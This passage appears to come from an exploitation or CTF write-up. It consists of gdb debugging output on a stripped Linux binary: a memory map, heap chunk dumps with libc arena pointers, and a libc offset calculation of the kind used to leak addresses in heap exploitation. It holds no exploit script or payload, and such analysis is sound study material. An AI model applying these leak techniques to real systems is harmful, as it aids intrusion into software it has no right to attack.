0x7fd257ee0000 0x7fd257ef5000 0x15000 0x0
0x7fd257ef5000 0x7fd257f18000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd2580f8000 0x7fd2580fd000 0x5000 0x0
0x7fd258114000 0x7fd258117000 0x3000 0x0
0x7fd258117000 0x7fd258118000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd258118000 0x7fd258119000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
0x7fd258119000 0x7fd25811a000 0x1000 0x0
0x7ffe6668e000 0x7ffe666af000 0x21000 0x0 [stack]
0x7ffe66744000 0x7ffe66746000 0x2000 0x0 [vvar]
0x7ffe66746000 0x7ffe66748000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8 |
...
Code Block | ||
---|---|---|
| ||
(gdb) x/12gx 0x609FC0
0x609fc0: 0x000000000105e200 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000000000
(gdb) b *0x4016C9
Breakpoint 1 at 0x4016c9
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) c
Continuing.
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) c
Continuing.
//D19
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0: 0x000000000105e280 0x000000000105e2c0
0x609fd0: 0x000000000105e380 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000000400
(gdb) c
Continuing.
//regret
Breakpoint 2, 0x00000000004016c5 in ?? ()
(gdb) x/2i $rip
=> 0x4016c5: mov 0x40(%rax),%rdx
0x4016c9: mov %rdx,0x208930(%rip) # 0x60a000
(gdb) set disassembly-flavor intel
(gdb) x/2i $rip
=> 0x4016c5: mov rdx,QWORD PTR [rax+0x40]
0x4016c9: mov QWORD PTR [rip+0x208930],rdx # 0x60a000
(gdb) i r rax
rax 0xdd5280 14504576
(gdb) x/18gx 0xdd5280
0xdd5280: 0x0000000000000000 0x0000000000000031
0xdd5290: 0x0000000000dd5340 0x0000000000dcd3d0
0xdd52a0: 0x0000000000000000 0x0000000000000000
0xdd52b0: 0x240b2f4828c52f0b 0x0000000000000091
0xdd52c0: 0x00007fcad9e447b8 0x00007fcad9e447b8
0xdd52d0: 0x0000000000000000 0x0000000000000000
0xdd52e0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0xdd52f0: 0x5554000155555555 0x0000000000000055
0xdd5300: 0x0000000000000000 0x0000000000000000
(gdb) x/gx 0xdd5280 + 0x40
0xdd52c0: 0x00007fcad9e447b8
(gdb) ni
0x00000000004016c9 in ?? ()
(gdb) i r rip
rip 0x4016c9 0x4016c9
(gdb) p/x 0x208930 + 0x4016c9
$1 = 0x609ff9
(gdb) x/12gx 0x609FC0
0x609fc0: 0x0000000000000000 0x0000000000000031
0x609fd0: 0x0000000000dd5340 0x0000000000dcd3d0
0x609fe0: 0x0000000000000000 0x0000000000000000
0x609ff0: 0x240b2f4828c52f0b 0x0000000000000091
0x60a000: 0x0000000000000000 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000000400
(gdb) ni
0x00000000004016d0 in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0: 0x0000000000000000 0x0000000000000031
0x609fd0: 0x0000000000dd5340 0x0000000000dcd3d0
0x609fe0: 0x0000000000000000 0x0000000000000000
0x609ff0: 0x240b2f4828c52f0b 0x0000000000000091
0x60a000: 0x00007fcad9e447b8 0x0000000000000000
0x60a010: 0x0000000000000000 0x0000000000000400
(gdb) p/x 0x208930 + 0x4016d0
$2 = 0x60a000 |
...